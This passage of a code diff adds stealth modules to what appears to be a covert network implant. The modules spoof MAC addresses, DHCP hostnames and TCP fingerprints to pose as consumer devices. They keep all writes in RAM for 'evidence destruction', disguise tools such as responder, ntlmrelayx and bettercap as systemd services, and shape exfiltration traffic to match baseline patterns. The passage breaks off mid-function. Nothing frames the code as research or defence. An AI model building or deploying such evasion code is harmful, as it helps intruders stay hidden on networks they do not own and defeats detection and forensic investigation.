self._eth_iface = self.config.get("network", {}).get(
"primary_interface", "auto"
)
if self._eth_iface == "auto":
self._eth_iface = detect_interface_with_retry(
max_retries=3,
retry_delay=5,
exponential=True,
config_interface=None
)
wifi_ifaces = get_wifi_interfaces()
wifi_cfg = self.config.get("network", {}).get("wifi", {}).get("interface", "wlan0")
self._wifi_iface = wifi_cfg if wifi_cfg in wifi_ifaces else (wifi_ifaces[0] if wifi_ifaces else None)
# Save originals for restore on stop
if self._eth_iface:
try:
self._original_eth_mac = get_mac(self._eth_iface)
except Exception:
pass
if self._wifi_iface:
try:
self._original_wifi_mac = get_mac(self._wifi_iface)
except Exception:
pass
self._original_hostname = socket.gethostname()
# Select and apply profile
self._profile = self._select_profile()
if self._profile is None:
logger.warning("No MAC profile found — using random consumer OUI fallback")
self._profile = self._fallback_profile()
self._apply_profile(self._profile)
# Persist for other modules
self.state.set(self.name, "profile", json.dumps(self._profile))
self.state.set_module_status(self.name, "running", pid=os.getpid())
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
logger.info(
"MAC profile applied: %s (%s) — MAC %s, hostname %s",
self._profile.get("device_name", "unknown"),
self._profile.get("vendor", "unknown"),
self._profile.get("applied_mac", "?"),
self._profile.get("dhcp_hostname", "?"),
)
def stop(self) -> None:
if not self._running:
return
# Restore original MACs on clean exit — skip WiFi interfaces to avoid
# dropping the active association.
wifi_ifaces = set(get_wifi_interfaces())
try:
if self._eth_iface and self._original_eth_mac and self._eth_iface not in wifi_ifaces:
set_mac(self._eth_iface, self._original_eth_mac)
if (self._wifi_iface and self._original_wifi_mac
and self._wifi_iface != self._eth_iface
and self._wifi_iface not in wifi_ifaces):
set_mac(self._wifi_iface, self._original_wifi_mac)
except Exception as exc:
logger.warning("Failed to restore original MAC: %s", exc)
self._cleanup_dhclient_conf()
if self._original_hostname:
try:
import subprocess
subprocess.run(
["hostnamectl", "set-hostname", self._original_hostname],
check=True, capture_output=True,
)
logger.debug("Hostname restored to %s", self._original_hostname)
except Exception:
pass
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("MacManager stopped — original MACs restored")
def status(self) -> dict:
base = {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
}
if self._profile:
base["profile_name"] = self._profile.get("device_name", "unknown")
base["applied_mac"] = self._profile.get("applied_mac", "unknown")
base["dhcp_hostname"] = self._profile.get("dhcp_hostname", "unknown")
if self._profile.get("applied_hostname"):
base["applied_hostname"] = self._profile["applied_hostname"]
if self._eth_iface:
try:
base["current_eth_mac"] = get_mac(self._eth_iface)
except Exception:
base["current_eth_mac"] = "error"
return base
def configure(self, config: dict) -> None:
self.config.update(config)
if self._running:
# Re-select and apply on config change
self._profile = self._select_profile()
if self._profile:
self._apply_profile(self._profile)
self.state.set(self.name, "profile", json.dumps(self._profile))
# ------------------------------------------------------------------
# Profile selection
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
"""Locate innocuous_macs.db relative to project root."""
candidates = [
os.path.join(os.path.dirname(__file__), "..", "..", "data", "innocuous_macs.db"),
"/opt/.cache/bb/data/innocuous_macs.db",
]
for p in candidates:
resolved = os.path.realpath(p)
if os.path.isfile(resolved):
return resolved
# Default — will be created/populated by setup
return os.path.realpath(candidates[0])
def _select_profile(self) -> Optional[dict]:
"""Select a MAC profile from the database based on config."""
if not os.path.isfile(self._db_path):
logger.warning("innocuous_macs.db not found at %s", self._db_path)
return None
stealth_cfg = self.config.get("stealth", {})
mac_profile = stealth_cfg.get("mac_profile", "auto")
network_type = stealth_cfg.get("mac_network_type", "auto")
conn = sqlite3.connect(self._db_path)
conn.row_factory = sqlite3.Row
try:
if mac_profile not in ("auto", None) and mac_profile not in _CATEGORY_MAP:
# Specific device name requested
row = conn.execute(
"SELECT * FROM mac_profiles WHERE device_name = ? LIMIT 1",
(mac_profile,),
).fetchone()
if row:
return dict(row)
# Category-based selection
if mac_profile == "auto" or mac_profile is None:
categories = self._pick_categories(network_type)
else:
categories = _CATEGORY_MAP.get(mac_profile, _DEFAULT_CATEGORIES)
placeholders = ",".join("?" for _ in categories)
rows = conn.execute(
f"SELECT * FROM mac_profiles WHERE device_type IN ({placeholders})",
categories,
).fetchall()
if rows:
return dict(random.choice(rows))
return None
except sqlite3.OperationalError:
logger.warning("mac_profiles table missing — DB not seeded, using fallback")
return None
finally:
conn.close()
def _pick_categories(self, network_type: str) -> tuple:
"""Choose device categories appropriate for the network type."""
if network_type == "business":
cat_keys = _BUSINESS_CATEGORIES
elif network_type == "home":
cat_keys = _HOME_CATEGORIES
else:
# Auto: default safe categories
cat_keys = _DEFAULT_CATEGORIES
types = []
for key in cat_keys:
types.extend(_CATEGORY_MAP.get(key, ()))
return tuple(types)
def _fallback_profile(self) -> dict:
"""Generate a plausible fallback profile without the database."""
# Amazon Fire TV Stick OUI
oui = "FC:65:DE"
suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
return {
"device_type": "streaming",
"vendor": "Amazon",
"device_name": "Fire TV Stick 4K",
"oui": oui,
"dhcp_hostname": "amazon-fire-tv",
"dhcp_vendor_class": "amazon-fire-tv-stick",
"ttl": 64,
"tcp_window": 65535,
}
# ------------------------------------------------------------------
# Apply profile to system
# ------------------------------------------------------------------
def _apply_profile(self, profile: dict) -> None:
"""Set MAC, DHCP config, TCP stack to match the selected profile."""
oui = profile.get("oui", "FC:65:DE")
suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
new_mac = f"{oui}:{suffix}"
profile["applied_mac"] = new_mac
wifi_ifaces = set(get_wifi_interfaces())
# Set MAC on Ethernet — skip if it's also a WiFi interface (changing MAC
# on an associated WiFi interface drops the connection and causes ENETDOWN
# on all AF_PACKET sockets bound to it).
if self._eth_iface:
if self._eth_iface in wifi_ifaces:
logger.info(
"Skipping MAC change on %s — active WiFi interface, would break association",
self._eth_iface,
)
else:
try:
set_mac(self._eth_iface, new_mac)
logger.debug("Set %s MAC to %s", self._eth_iface, new_mac)
except Exception as exc:
logger.error("Failed to set MAC on %s: %s", self._eth_iface, exc)
# Set MAC on WiFi only if it's a separate interface from the primary eth
# (e.g., a dedicated monitor card). Same interface = already handled above.
if self._wifi_iface and self._wifi_iface != self._eth_iface:
wifi_suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
wifi_mac = f"{oui}:{wifi_suffix}"
try:
set_mac(self._wifi_iface, wifi_mac)
profile["applied_wifi_mac"] = wifi_mac
logger.debug("Set %s MAC to %s", self._wifi_iface, wifi_mac)
except Exception as exc:
logger.error("Failed to set WiFi MAC on %s: %s", self._wifi_iface, exc)
# DHCP configuration
self._write_dhclient_conf(profile)
# TCP stack tuning
ttl = profile.get("ttl", 64)
tcp_win = profile.get("tcp_window", 65535)
set_ttl(ttl)
set_tcp_window(tcp_win)
set_tcp_timestamps(True) # Most consumer devices have timestamps enabled
logger.debug("TCP stack: TTL=%d, window=%d", ttl, tcp_win)
self._set_system_hostname(profile)
def _write_dhclient_conf(self, profile: dict) -> None:
"""Write dhclient.conf with hostname + vendor class matching the profile."""
hostname = profile.get("dhcp_hostname", "localhost")
vendor_class = profile.get("dhcp_vendor_class", "")
conf_path = "/etc/dhcp/dhclient.conf.d"
conf_file = os.path.join(conf_path, "bb-profile.conf")
try:
os.makedirs(conf_path, exist_ok=True)
lines = [
f'send host-name "{hostname}";',
]
if vendor_class:
lines.append(f'send vendor-class-identifier "{vendor_class}";')
with open(conf_file, "w") as f:
f.write("\n".join(lines) + "\n")
logger.debug("Wrote DHCP config: hostname=%s, vendor=%s", hostname, vendor_class)
except (IOError, PermissionError) as exc:
logger.warning("Failed to write dhclient.conf: %s", exc)
def _set_system_hostname(self, profile: dict) -> None:
"""Set system hostname to match the device profile for full fingerprint consistency."""
import subprocess
hostname = profile.get("dhcp_hostname", "")
if not hostname:
return
suffix = "".join(f"{random.randint(0, 15):x}" for _ in range(4))
new_hostname = f"{hostname}-{suffix}"
try:
subprocess.run(
["hostnamectl", "set-hostname", new_hostname],
check=True, capture_output=True,
)
profile["applied_hostname"] = new_hostname
logger.info("System hostname set to %s", new_hostname)
except Exception as exc:
logger.warning("Failed to set hostname: %s", exc)
def _cleanup_dhclient_conf(self) -> None:
"""Remove our DHCP config on clean exit."""
conf_file = "/etc/dhcp/dhclient.conf.d/bb-profile.conf"
try:
if os.path.isfile(conf_file):
os.unlink(conf_file)
except (IOError, PermissionError):
pass
+269
View File
@@ -0,0 +1,269 @@
#!/usr/bin/env python3
"""OverlayFS manager: mount root filesystem as overlayfs with tmpfs upper layer
so all writes go to RAM and vanish on reboot. Zero SD card write activity."""
import logging
import os
import shutil
import subprocess
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
logger = logging.getLogger(__name__)
# Default overlay paths
OVERLAY_BASE = "/opt/.cache/bb/overlay"
OVERLAY_UPPER = os.path.join(OVERLAY_BASE, "upper")
OVERLAY_WORK = os.path.join(OVERLAY_BASE, "work")
OVERLAY_MERGED = os.path.join(OVERLAY_BASE, "merged")
# Size budgets per tier (MB)
TIER_SIZE_BUDGETS = {
TIER_OPI_ZERO3: 200,
TIER_PI_ZERO: 30,
TIER_GENERIC: None, # unlimited
}
class OverlayfsManager(BaseModule):
"""Mount an overlayfs with read-only lower (real FS) and tmpfs upper (RAM).
All writes go to tmpfs -- zero SD card activity. Writes vanish on reboot."""
name = "overlayfs_manager"
module_type = "stealth"
priority = -450
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._overlay_base = config.get("overlay_base", OVERLAY_BASE)
self._upper_dir = config.get("overlay_upper", OVERLAY_UPPER)
self._work_dir = config.get("overlay_work", OVERLAY_WORK)
self._merged_dir = config.get("overlay_merged", OVERLAY_MERGED)
self._lower_dir = config.get("overlay_lower", "/opt/.cache/bb")
self._overlay_active = False
self._tmpfs_mounted = False
self._upper_limit_mb: Optional[int] = None
self._tier = get_hardware_tier()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
# Determine size budget from hardware tier
self._upper_limit_mb = TIER_SIZE_BUDGETS.get(self._tier)
if self._upper_limit_mb is None and self._tier not in TIER_SIZE_BUDGETS:
# Unknown tier: default conservative
self._upper_limit_mb = 200
# Create overlay structure
if not self._setup_overlay():
logger.error("OverlayFS setup failed")
self.state.set_module_status(self.name, "error",
extra={"reason": "setup_failed"})
return
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info(
"OverlayFS active — upper limit: %s MB, tier: %s",
self._upper_limit_mb or "unlimited", self._tier,
)
def stop(self) -> None:
self._running = False
self._teardown_overlay()
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("OverlayFS stopped and unmounted")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"overlay_active": self._overlay_active,
"tmpfs_mounted": self._tmpfs_mounted,
"upper_usage_mb": self._get_upper_usage_mb(),
"upper_limit_mb": self._upper_limit_mb,
"tier": self._tier,
"merged_dir": self._merged_dir,
}
def configure(self, config: dict) -> None:
if "overlay_lower" in config:
self._lower_dir = config["overlay_lower"]
# ------------------------------------------------------------------
# Public: overlay path helpers
# ------------------------------------------------------------------
@property
def merged_path(self) -> str:
"""Return the merged overlay mount point (use this as working directory)."""
return self._merged_dir
def get_upper_usage_mb(self) -> float:
"""Return current tmpfs upper layer usage in MB."""
return self._get_upper_usage_mb()
def is_near_limit(self, threshold_pct: float = 85.0) -> bool:
"""Check if upper layer usage is approaching the size budget."""
if self._upper_limit_mb is None:
return False
usage = self._get_upper_usage_mb()
return (usage / self._upper_limit_mb * 100) >= threshold_pct
# ------------------------------------------------------------------
# Internal: setup and teardown
# ------------------------------------------------------------------
def _setup_overlay(self) -> bool:
"""Create tmpfs mount and overlayfs mount."""
try:
# Create all directories
for d in [self._overlay_base, self._upper_dir, self._work_dir, self._merged_dir]:
os.makedirs(d, mode=0o700, exist_ok=True)
# Ensure lower directory exists
os.makedirs(self._lower_dir, mode=0o700, exist_ok=True)
# Mount tmpfs on the overlay base with size limit
if not self._is_mounted(self._overlay_base):
size_opt = f"size={self._upper_limit_mb}m" if self._upper_limit_mb else "size=50%"
result = subprocess.run(
["mount", "-t", "tmpfs", "-o", f"{size_opt},mode=0700",
"tmpfs", self._overlay_base],
capture_output=True, timeout=30,
)
if result.returncode != 0:
logger.error(
"tmpfs mount failed: %s",
result.stderr.decode(errors="replace"),
)
return False
self._tmpfs_mounted = True
# Recreate subdirectories on fresh tmpfs
for d in [self._upper_dir, self._work_dir, self._merged_dir]:
os.makedirs(d, mode=0o700, exist_ok=True)
logger.info("tmpfs mounted at %s (%s)", self._overlay_base, size_opt)
else:
self._tmpfs_mounted = True
# Mount overlayfs
if not self._is_mounted(self._merged_dir):
mount_opts = (
f"lowerdir={self._lower_dir},"
f"upperdir={self._upper_dir},"
f"workdir={self._work_dir}"
)
result = subprocess.run(
["mount", "-t", "overlay", "overlay",
"-o", mount_opts, self._merged_dir],
capture_output=True, timeout=30,
)
if result.returncode != 0:
stderr = result.stderr.decode(errors="replace")
logger.error("overlayfs mount failed: %s", stderr)
# Cleanup tmpfs if overlay fails
self._unmount(self._overlay_base)
self._tmpfs_mounted = False
return False
self._overlay_active = True
logger.info("overlayfs mounted at %s", self._merged_dir)
else:
self._overlay_active = True
return True
except Exception:
logger.exception("Overlay setup failed")
return False
def _teardown_overlay(self) -> None:
"""Sync and unmount overlay, then tmpfs."""
# Sync any pending writes
try:
subprocess.run(["sync"], timeout=10, capture_output=True)
except Exception:
pass
# Unmount overlay first
if self._overlay_active:
if self._unmount(self._merged_dir):
self._overlay_active = False
logger.info("overlayfs unmounted")
# Unmount tmpfs (all data in upper layer is destroyed)
if self._tmpfs_mounted:
if self._unmount(self._overlay_base):
self._tmpfs_mounted = False
logger.info("tmpfs unmounted — all overlay writes destroyed")
# ------------------------------------------------------------------
# Internal: mount helpers
# ------------------------------------------------------------------
@staticmethod
def _is_mounted(path: str) -> bool:
"""Check if a path is a mount point."""
try:
with open("/proc/mounts", "r") as f:
for line in f:
parts = line.split()
if len(parts) >= 2 and parts[1] == path:
return True
except IOError:
pass
return False
@staticmethod
def _unmount(path: str, lazy: bool = False) -> bool:
"""Unmount a filesystem. Uses lazy unmount as fallback."""
try:
cmd = ["umount", path]
result = subprocess.run(cmd, capture_output=True, timeout=30)
if result.returncode == 0:
return True
if not lazy:
# Retry with lazy unmount
cmd = ["umount", "-l", path]
result = subprocess.run(cmd, capture_output=True, timeout=30)
if result.returncode == 0:
return True
logger.warning(
"Failed to unmount %s: %s",
path, result.stderr.decode(errors="replace"),
)
return False
except Exception:
logger.exception("Unmount failed: %s", path)
return False
# ------------------------------------------------------------------
# Internal: usage tracking
# ------------------------------------------------------------------
def _get_upper_usage_mb(self) -> float:
"""Get current size of the tmpfs upper layer in MB."""
if not self._tmpfs_mounted:
return 0.0
try:
stat = os.statvfs(self._overlay_base)
total = stat.f_blocks * stat.f_frsize
free = stat.f_bavail * stat.f_frsize
used = total - free
return used / (1024 * 1024)
except OSError:
return 0.0
+179
View File
@@ -0,0 +1,179 @@
#!/usr/bin/env python3
"""Process disguise module — rename all SystemMonitor processes to look like
legitimate system services.
Reads process name mappings from stealth.yaml, renames own processes via
prctl(PR_SET_NAME) and /proc/self/comm, and auto-disguises new module
processes as they start.
"""
import logging
import os
import time
import threading
from typing import Dict, Optional
from modules.base import BaseModule
from utils.stealth import rename_process, spoof_cmdline
logger = logging.getLogger(__name__)
class ProcessDisguise(BaseModule):
"""Rename all managed processes to innocuous system service names."""
name = "process_disguise"
module_type = "stealth"
priority = -400
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._name_map: Dict[str, str] = {} # original -> disguised
self._disguised_pids: Dict[int, str] = {} # pid -> fake_name
self._lock = threading.Lock()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Load process name mappings from stealth.yaml config
stealth_cfg = self.config.get("stealth_yaml", {})
self._name_map = stealth_cfg.get("process_names", {})
if not self._name_map:
# Fallback defaults matching stealth.yaml
self._name_map = {
"python3": "systemd-thermald",
"bettercap": "networkd-dispatcher",
"tcpdump": "systemd-netlogd",
"responder": "systemd-resolved",
"mitmproxy": "systemd-networkd",
"ntlmrelayx": "systemd-logind",
"hostapd": "wpa_supplicant",
"dnsmasq": "systemd-resolved",
}
# Disguise own process first
own_fake = self._name_map.get("python3", "systemd-thermald")
self._apply_disguise(os.getpid(), own_fake)
# Spoof /proc/self/cmdline
spoof_cmdline(own_fake)
# Subscribe to bus events for auto-disguise
self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
self.bus.subscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info(
"ProcessDisguise active — %d name mappings loaded, own PID %d -> %s",
len(self._name_map), os.getpid(), own_fake,
)
def stop(self) -> None:
if not self._running:
return
self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
self.bus.unsubscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("ProcessDisguise stopped — %d PIDs were disguised", len(self._disguised_pids))
def status(self) -> dict:
with self._lock:
pids_snapshot = dict(self._disguised_pids)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"disguised_pids": pids_snapshot,
"total_disguised": len(pids_snapshot),
"name_mappings": len(self._name_map),
}
def configure(self, config: dict) -> None:
self.config.update(config)
new_names = config.get("stealth_yaml", {}).get("process_names")
if new_names:
self._name_map.update(new_names)
# ------------------------------------------------------------------
# Public API for other modules / tool_manager
# ------------------------------------------------------------------
def disguise_pid(self, pid: int, name: str) -> bool:
"""Disguise an arbitrary PID with the given fake name.
Called by tool_manager or other modules to rename external processes.
For external processes, we write to /proc/PID/comm (requires root or
same user).
"""
return self._apply_disguise(pid, name)
def get_fake_name(self, original_name: str) -> str:
"""Look up the disguise name for a process. Returns original if no mapping."""
return self._name_map.get(original_name, original_name)
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_module_started(self, event) -> None:
"""Auto-disguise newly started module processes."""
payload = event.payload
pid = payload.get("pid")
module_name = payload.get("module", "")
if pid and pid != os.getpid():
# Python modules get the python3 disguise name
fake = self._name_map.get("python3", "systemd-thermald")
self._apply_disguise(pid, fake)
logger.debug("Auto-disguised module %s (PID %d) -> %s", module_name, pid, fake)
def _on_tool_restarted(self, event) -> None:
"""Re-disguise restarted tool processes."""
payload = event.payload
pid = payload.get("pid")
tool_name = payload.get("tool", "")
if pid:
fake = self._name_map.get(tool_name, tool_name)
self._apply_disguise(pid, fake)
logger.debug("Re-disguised restarted tool %s (PID %d) -> %s", tool_name, pid, fake)
# ------------------------------------------------------------------
# Internal
# ------------------------------------------------------------------
def _apply_disguise(self, pid: int, fake_name: str) -> bool:
"""Apply a process name disguise to the given PID."""
success = False
if pid == os.getpid():
# Own process — use prctl
success = rename_process(fake_name)
else:
# External process — write to /proc/PID/comm
try:
comm_path = f"/proc/{pid}/comm"
with open(comm_path, "w") as f:
f.write(fake_name[:15])
success = True
except (IOError, PermissionError, FileNotFoundError) as exc:
logger.debug("Cannot disguise PID %d: %s", pid, exc)
if success:
with self._lock:
self._disguised_pids[pid] = fake_name
return success
+273
View File
@@ -0,0 +1,273 @@
#!/usr/bin/env python3
"""tmpfs manager — RAM-backed mounts for sensitive operations.
Creates tmpfs mounts for working directories, runtime state, and SQLite WAL
files. Power loss = instant evidence destruction since tmpfs is RAM-only.
Size limits are tier-aware (OPi Zero 3: 200MB, Pi Zero: 30MB, generic: 512MB).
"""
import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Dict, List, Optional, Tuple
from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
logger = logging.getLogger(__name__)
# Default tmpfs size limits per tier (MB)
_TIER_TMPFS_LIMITS = {
TIER_OPI_ZERO3: 200,
TIER_PI_ZERO: 30,
TIER_GENERIC: 512,
}
class TmpfsManager(BaseModule):
"""Manage tmpfs mounts for RAM-only sensitive storage."""
name = "tmpfs_manager"
module_type = "stealth"
priority = -450
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._mounts: Dict[str, dict] = {} # mount_point -> {size_mb, purpose}
self._install_path: str = ""
self._tier_limit_mb: int = 200
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._install_path = self.config.get("device", {}).get(
"install_path", "/opt/.cache/bb"
)
# Determine tier-based tmpfs limit
tier = get_hardware_tier()
hw_tiers = self.config.get("hardware_tiers", {})
tier_cfg = hw_tiers.get(tier, {})
self._tier_limit_mb = tier_cfg.get(
"overlayfs_mb",
_TIER_TMPFS_LIMITS.get(tier, 200),
) or _TIER_TMPFS_LIMITS.get(tier, 200)
# Create and mount tmpfs volumes
tmp_path = os.path.join(self._install_path, "tmp")
run_path = os.path.join(self._install_path, "run")
# Split budget: 70% for tmp (working data), 30% for run (runtime state)
tmp_size = int(self._tier_limit_mb * 0.7)
run_size = int(self._tier_limit_mb * 0.3)
self._mount_tmpfs(tmp_path, tmp_size, "general tmpfs working directory")
self._mount_tmpfs(run_path, run_size, "runtime state")
# Create standard subdirectories
for subdir in ("wal", "work", "modules"):
os.makedirs(os.path.join(tmp_path, subdir), exist_ok=True)
for subdir in ("pids", "sockets", "locks"):
os.makedirs(os.path.join(run_path, subdir), exist_ok=True)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info(
"TmpfsManager active — %d mounts, tier=%s, budget=%dMB",
len(self._mounts), tier, self._tier_limit_mb,
)
def stop(self) -> None:
if not self._running:
return
# Unmount in reverse order (most recently mounted first)
for mount_point in reversed(list(self._mounts.keys())):
self._unmount_tmpfs(mount_point)
self._mounts.clear()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("TmpfsManager stopped — all tmpfs mounts removed")
def status(self) -> dict:
mounts_info = []
for mount_point, info in self._mounts.items():
entry = {
"mount_point": mount_point,
"size_mb": info["size_mb"],
"purpose": info["purpose"],
}
# Get current usage
try:
stat = os.statvfs(mount_point)
total = stat.f_blocks * stat.f_frsize
free = stat.f_bavail * stat.f_frsize
used = total - free
entry["used_mb"] = round(used / (1024 * 1024), 1)
entry["free_mb"] = round(free / (1024 * 1024), 1)
entry["used_pct"] = round((used / total) * 100, 1) if total > 0 else 0
except OSError:
entry["used_mb"] = 0
entry["free_mb"] = 0
entry["used_pct"] = 0
mounts_info.append(entry)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"tier_limit_mb": self._tier_limit_mb,
"mount_count": len(self._mounts),
"mounts": mounts_info,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def get_tmp_path(self) -> Optional[str]:
"""Return the general tmpfs working directory, or None if not mounted."""
path = os.path.join(self._install_path, "tmp")
return path if path in self._mounts else None
def get_run_path(self) -> Optional[str]:
"""Return the runtime state tmpfs path, or None if not mounted."""
path = os.path.join(self._install_path, "run")
return path if path in self._mounts else None
def get_wal_path(self) -> Optional[str]:
"""Return the WAL file tmpfs directory for SQLite databases."""
tmp = self.get_tmp_path()
if tmp:
wal_dir = os.path.join(tmp, "wal")
return wal_dir if os.path.isdir(wal_dir) else None
return None
def get_module_workdir(self, module_name: str) -> Optional[str]:
"""Get or create a per-module working directory on tmpfs."""
tmp = self.get_tmp_path()
if not tmp:
return None
workdir = os.path.join(tmp, "modules", module_name)
os.makedirs(workdir, exist_ok=True)
return workdir
def symlink_wal(self, db_path: str) -> bool:
"""Symlink a SQLite WAL file from its storage location to tmpfs.
Call this after creating/opening a SQLite database so the WAL file
lives in RAM instead of on disk.
Args:
db_path: Path to the .db file (the WAL will be at db_path + '-wal')
Returns:
True if the symlink was created successfully.
"""
wal_dir = self.get_wal_path()
if not wal_dir:
return False
wal_source = db_path + "-wal"
db_name = os.path.basename(db_path)
wal_target = os.path.join(wal_dir, db_name + "-wal")
try:
# Remove existing WAL if present
if os.path.exists(wal_source) and not os.path.islink(wal_source):
os.unlink(wal_source)
# Create symlink: storage/foo.db-wal -> tmpfs/wal/foo.db-wal
if not os.path.islink(wal_source):
os.symlink(wal_target, wal_source)
# Also handle the -shm file
shm_source = db_path + "-shm"
shm_target = os.path.join(wal_dir, db_name + "-shm")
if os.path.exists(shm_source) and not os.path.islink(shm_source):
os.unlink(shm_source)
if not os.path.islink(shm_source):
os.symlink(shm_target, shm_source)
logger.debug("WAL symlinked: %s -> %s", wal_source, wal_target)
return True
except (IOError, OSError) as exc:
logger.warning("Failed to symlink WAL for %s: %s", db_path, exc)
return False
# ------------------------------------------------------------------
# Internal mount management
# ------------------------------------------------------------------
def _mount_tmpfs(self, mount_point: str, size_mb: int, purpose: str) -> bool:
"""Create a tmpfs mount at the given path."""
try:
os.makedirs(mount_point, exist_ok=True)
# Check if already mounted
if self._is_mounted(mount_point):
logger.debug("Already mounted: %s", mount_point)
self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose}
return True
subprocess.run(
["mount", "-t", "tmpfs", "-o", f"size={size_mb}m,mode=0700,nodev,nosuid",
"tmpfs", mount_point],
check=True, capture_output=True,
)
self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose}
logger.debug("Mounted tmpfs: %s (%dMB) — %s", mount_point, size_mb, purpose)
return True
except (subprocess.CalledProcessError, OSError) as exc:
logger.error("Failed to mount tmpfs at %s: %s", mount_point, exc)
return False
def _unmount_tmpfs(self, mount_point: str) -> bool:
"""Unmount a tmpfs mount."""
try:
if self._is_mounted(mount_point):
subprocess.run(
["umount", "-l", mount_point], # lazy unmount for safety
check=True, capture_output=True,
)
logger.debug("Unmounted tmpfs: %s", mount_point)
# Clean up the directory
try:
os.rmdir(mount_point)
except OSError:
pass # Directory may not be empty or may not exist
return True
except subprocess.CalledProcessError as exc:
logger.warning("Failed to unmount %s: %s", mount_point, exc)
return False
@staticmethod
def _is_mounted(path: str) -> bool:
"""Check if a path is a mount point."""
try:
with open("/proc/mounts", "r") as f:
for line in f:
fields = line.split()
if len(fields) >= 2 and fields[1] == path:
return True
except IOError:
pass
return False
+336
View File
@@ -0,0 +1,336 @@
#!/usr/bin/env python3
"""Traffic mimicry module: baseline normal traffic patterns then shape
implant communications to match observed characteristics."""
import json
import logging
import os
import random
import time
import threading
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
PHASE_BASELINE = "baseline"
PHASE_SHAPING = "shaping"
# Default baseline storage
BASELINE_DIR = "storage/baseline"
class TrafficMimicry(BaseModule):
"""Two-phase traffic mimicry: 48h baseline collection then traffic shaping
to match observed network patterns."""
name = "traffic_mimicry"
module_type = "stealth"
priority = -200
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._phase = PHASE_BASELINE
self._baseline_hours = config.get("baseline_hours", 48)
self._shape_exfil = config.get("shape_exfil", True)
self._match_protocols = config.get("match_protocols", True)
self._jitter_pct = config.get("jitter_pct", 15)
self._baseline_dir = config.get("baseline_dir", BASELINE_DIR)
self._baseline_start: Optional[float] = None
self._baseline_data = self._empty_baseline()
self._monitor_thread: Optional[threading.Thread] = None
self._lock = threading.Lock()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
Path(self._baseline_dir).mkdir(parents=True, exist_ok=True)
# Check if we have a saved baseline
saved = self._load_baseline()
if saved and self._baseline_complete(saved):
self._baseline_data = saved
self._phase = PHASE_SHAPING
logger.info("TrafficMimicry loaded existing baseline — entering shaping phase")
else:
self._phase = PHASE_BASELINE
self._baseline_start = time.time()
logger.info("TrafficMimicry entering baseline phase (%dh)", self._baseline_hours)
# Subscribe to capture events for baseline data
self.bus.subscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
# Background thread for periodic baseline updates and phase transitions
self._monitor_thread = threading.Thread(
target=self._monitor_loop, daemon=True, name="sensor-traffic-mimicry",
)
self._monitor_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
def stop(self) -> None:
self._running = False
self.bus.unsubscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
if self._monitor_thread and self._monitor_thread.is_alive():
self._monitor_thread.join(timeout=5.0)
# Persist current baseline
self._save_baseline()
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("TrafficMimicry stopped")
def status(self) -> dict:
with self._lock:
completeness = self._baseline_completeness_pct()
deviation = self._traffic_deviation_score()
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"phase": self._phase,
"baseline_completeness_pct": completeness,
"traffic_deviation_score": deviation,
"baseline_hours_configured": self._baseline_hours,
"baseline_hours_elapsed": self._baseline_hours_elapsed(),
}
def configure(self, config: dict) -> None:
if "baseline_hours" in config:
